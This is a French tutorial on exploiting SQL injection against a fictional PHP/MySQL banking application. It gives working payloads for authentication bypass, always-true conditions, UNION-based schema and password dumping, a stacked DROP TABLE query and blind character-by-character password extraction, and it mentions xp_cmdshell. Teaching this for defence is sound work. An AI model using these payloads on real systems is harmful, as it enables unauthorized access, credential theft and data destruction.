Les injections SQL - Exploitation
Application "cobaye"
Considérons une application WEB (fictive) qui demande à l'utilisateur son login et son mot de passe, et qui donne ensuite la liste des comptes bancaires appartenant à l'utilisateur.
Dans notre exemple, cette application sera en PHP et utilisera MySQL comme SGBD (le couple PHP/MySQL est un grand classique, très utilisé sur la toile).
Important: chaque SGBD apporte sa propre surcouche au langage SQL (nouvelles fonctions, nouveaux mots clés, ...), et chaque SGBD a sa propre organisation interne (tables systèmes, ...). Certaines des injections présentées ici ne fonctionneront donc qu'avec MySQL et il faudra faire quelques changements pour qu'elles fonctionnent sur le SGBD qui vous intéresse. Gardez aussi à l'esprit que pour un SGBD donné, il y aura de nombreux moyens différents pour arriver aux mêmes résultats.
La base de données contient 2 tables:
- users (id, login, pass)
- accounts (id, #owner, type, amount)
Pour récupérer la liste des comptes, notre application utilise la requête suivante, construite à partir des données du formulaire que l'utilisateur remplit:
SELECT u.login, a.type, a.amount FROM accounts AS a LEFT JOIN users AS u ON a.owner = u.id WHERE u.login = '$user' AND u.pass = '$pass' ORDER BY 1,3
(Dans les exemples, les sauts de ligne dans les requêtes sont rajoutés pour les rendre plus lisibles. Dans la pratique, elles sont tout le temps envoyées sur une seule ligne. La façon dont je découpe les lignes n'a donc aucune importance pour l'injection en elle-même.)
Exemples d'utilisation normale
Par exemple, Bob veut consulter ses comptes; il tape alors « bob » en login et « 1234 » en mot de passe. La requête devient alors:
SELECT u.login, a.type, a.amount FROM accounts AS a LEFT JOIN users AS u ON a.owner = u.id WHERE u.login = 'bob' AND u.pass = '1234' ORDER BY 1,3
Et il obtient

Si le mot de passe est incorrect (si on tape « blabla », par exemple), la requête devient alors:
SELECT u.login, a.type, a.amount FROM accounts AS a LEFT JOIN users AS u ON a.owner = u.id WHERE u.login = 'bob' AND u.pass = 'blabla' ORDER BY 1,3
et elle ne renvoie aucun enregistrement. On obtient donc:

Injections classiques
Bypass d'authentification
En utilisant une injection SQL, on peut lister les comptes de Bob sans savoir son mot de passe. On peut par exemple taper « bob' -- » en login, et « blabla » en mot de passe.
La requête devient alors:
SELECT u.login, a.type, a.amount FROM accounts AS a LEFT JOIN users AS u ON a.owner = u.id WHERE u.login = 'bob' --' AND u.pass = 'blabla' ORDER BY 1,3
Ici, tout le problème vient de l'apostrophe qu'on insère: une fois mise dans la requête, elle vient fermer la chaîne correspondant au login (dans la requête SQL). Ce qu'on écrit après l'apostrophe est donc considéré comme du SQL, plus comme le login à comparer. Or, en SQL, « -- » est le début d'un commentaire; tout ce qui suit (ici, la vérification du mot de passe) n'est donc pas interprété. On obtient:

Injection d'évaluation vraie
On peut aussi afficher tous les comptes, en utilisant dans la requête un OR qui sera toujours évalué vrai.
Par exemple, si on tape « blabla » en login et « blabla' OR 1='1 » en mot de passe, la requête devient:
SELECT u.login, a.type, a.amount FROM accounts AS a LEFT JOIN users AS u ON a.owner = u.id WHERE u.login = 'blabla' AND u.pass = 'blabla' OR 1 = '1' ORDER BY 1,3
Ici, on choisit de ne pas utiliser les commentaires (trop facile, sinon); on doit donc utiliser 2 apostrophes dans notre injection: le premier pour fermer la chaîne et pouvoir injecter notre OR, et la seconde pour ouvrir une autre chaîne qui sera fermée par l'apostrophe qui est "en dur" dans la macro (celle qui est censée fermer la chaîne qu'on a nous même malicieusement fermée).
Comme 1=1 est tout le temps vrai, tous les enregistrements de la table vont être renvoyés:

"Évasion" de la table cible
On pourrait penser que comme on ne peut pas modifier le début de la requête, on ne peut que récupérer les enregistrements (puisque c'est un SELECT) et uniquement sur les tables "accounts" et "users". Et bien en fait, avec l'instruction SQL "UNION", on peut aller interroger une autre table.
Ici, on va afficher le schéma de la base de données (le nom de la base et le nom des tables avec, pour chacune, ses colonnes avec leur type) en utilisant la requête:
SELECT u.login, a.type, a.amount FROM accounts AS a LEFT JOIN users AS u ON a.owner = u.id WHERE u.login = 'blabla' AND u.pass = 'blabla' AND 1=0 UNION SELECT database(), t.table_name, concat(c.column_name,':',c.data_type) FROM information_schema.tables AS t NATURAL JOIN information_schema.columns AS c WHERE table_schema = database() -- ' ORDER BY 1,3
La seule restriction d'UNION est que la seconde requête doit renvoyer le même nombre d'éléments que la première (ici, 3). Si on veut afficher plus d'informations, on peut le faire en utilisant la concaténation (comme on le fait ici pour les noms et types de colonnes, qui sont affichés dans le même élément).
On obtient:

Lister nos mots de passe
Maintenant qu'on connaît le schéma de la base de données, on peut afficher la liste des logins et des mots de passe, en utilisant le même principe (évasion de table):
SELECT u.login, a.type, a.amount FROM accounts AS a LEFT JOIN users AS u ON a.owner = u.id WHERE u.login = 'blabla' AND u.pass = 'blabla' AND 1=0 UNION SELECT login, pass, id FROM users -- ' ORDER BY 1,3
On obtient:

Aller plus loin ...
Il est même parfois possible de chaîner les requêtes, en utilisant le caractère SQL de fin de requête ";". Heureusement, la plupart des SGBD interdisent (dans leur configuration par défaut) d'utiliser le multi-requête. Mais pour celles qui l'autorisent, il est alors possible de finir le premier SELECT avec un ";" puis de lancer un autre type de commande SQL ("UPDATE" pour modifier les enregistrements, "DELETE" et "DROP" pour supprimer, ...).
Par exemple, dans notre application, on pourrait supprimer la table "users" en insérant comme login « blabla » et comme pass « blabla'; DROP TABLE users -- »; la requête devient alors:
SELECT u.login, a.type, a.amount FROM accounts AS a LEFT JOIN users AS u ON a.owner = u.id WHERE u.login = 'blabla' AND u.pass = 'blabla'; DROP TABLE users --' ORDER BY 1,3
Pire encore, certains SGBD proposent des fonctions utilisables dans une requête SQL pour lancer un exécutable sur le système, c'est par exemple le cas de Microsoft SQL Server (avec l'instruction xp_cmdshell()).
Injections à l'aveuglette
Les Blind injections (ou injections à l'aveuglette) sont utilisées lorsqu'une application est vulnérable à l'injection SQL mais que le résultat de l'injection n'est pas visible par l'attaquant.
C'est par exemple le cas pour tous les scripts à réponse binaire, comme les formulaires d'authentification: soit l'authentification a réussie, soit elle a échouée, mais dans tous les cas, aucune donnée de la base n'est affichée sur la page, ce qui complique évidemment l'exploitation de la faille.
La seule chose que l'on peut faire est donc d'injecter une évaluation, et de constater grâce à la réponse binaire de l'application si elle était vraie ou fausse.
Comme cette technique hasardeuse s'appuie sur des essais successifs, elle est souvent automatisée par des scripts.
On utilisera la même application que précédemment; seule la réponse va être changée: soit l'application affichera "L'authentification a réussie", soit elle affichera "L'authentification a échouée".
Exemples d'utilisation normale
Si on tape en login et en mot de passe « bob » et « 1234 », on obtient:
L'authentification a réussie !
Si on tape en login et en mot de passe « bob » et « blabla », on obtient:
L'authentification a échouée !
On est donc bien en présence d'un script à réponse binaire (échec/réussite).
Principe des blind injections
Si on tape en login et en mot de passe « blabla' OR 1=1 -- » et « blabla », on obtient:
L'authentification a réussie !
Si on tape en login et en mot de passe « blabla' OR 1=0 -- » et « blabla », on obtient:
L'authentification a échouée !
On voit ici que le résultat du script dépend directement de l'évaluation après le OR.
Sachant ça, on peut remplacer « 1=1 » par n'importe quelle évaluation, et savoir (via la réponse du script) si elle est vraie ou fausse.
Découverte de schéma
Est-ce que la table « utilisateurs » existe ?
Login: « blabla' OR EXISTS ( SELECT COUNT(*) FROM utilisateurs) -- »
=> L'authentification a échouée !
Il n'y a donc pas de table « utilisateurs ».
Est-ce que la table « users » existe ?
Login: « blabla' OR EXISTS ( SELECT COUNT(*) FROM users) -- »
=> L'authentification a réussie !
Il y a donc bien une table « users ».
Est-ce que cette table a un champ « pass » ?
Login: « blabla' OR EXISTS ( SELECT COUNT(pass) FROM users) -- »
=> L'authentification a réussie !
Il y a donc bien un champ « pass » dans la table « users ».
En faisant d'autres essais, on peut avoir une bonne idée du schéma de la base de données.
Mots de passe
Est-ce qu'il y a un utilisateur « alice » ?
Login: « blabla' OR EXISTS ( SELECT * FROM utilisateurs WHERE login='alice') -- »
=> L'authentification a réussie !
Il y a donc bien un utilisateur « alice ».
Est-ce que son mot de passe fait 5 caractères ?
Login: « blabla' OR EXISTS ( SELECT * FROM users WHERE login='alice' AND LENGTH(pass)=5) -- »
=> L'authentification a échouée !
Son mot de passe ne fait pas 5 caractères.
Est-ce que son mot de passe fait 11 caractères ?
Login: « blabla' OR EXISTS ( SELECT * FROM users WHERE login='alice' AND LENGTH(pass)=11) -- »
=> L'authentification a réussie !
Son mot de passe fait bien 11 caractères.
Est-ce qu'il y a un « j » dans son mot de passe ?
Login: « blabla' OR EXISTS ( SELECT * FROM users WHERE login='alice' AND pass LIKE '%j%' ) -- »
=> L'authentification a réussie !
Il y a donc bien un « j » dans son mot de passe.
Est-ce que c'est la première lettre ?
Login: « blabla' OR EXISTS ( SELECT * FROM users WHERE login='alice' AND pass LIKE 'j%' ) -- »
=> L'authentification a échouée !
Ce n'est pas la première lettre ...
Est-ce que c'est la seconde ?
Login: « blabla' OR EXISTS ( SELECT * FROM users WHERE login='alice' AND pass LIKE '_j%' ) -- »
=> L'authentification a réussie !
La seconde lettre du mot de passe d'alice est un « j ».
On voit bien ici qu'il est facile d'automatiser ce genre de tests à l'aide d'une boucle dans un script; on pourrait par exemple trouver les noms des tables de la base en parcourant un dictionnaire, puis utiliser la méthode précédente pour trouver la longueur des mots de passe et chacune de leurs lettres.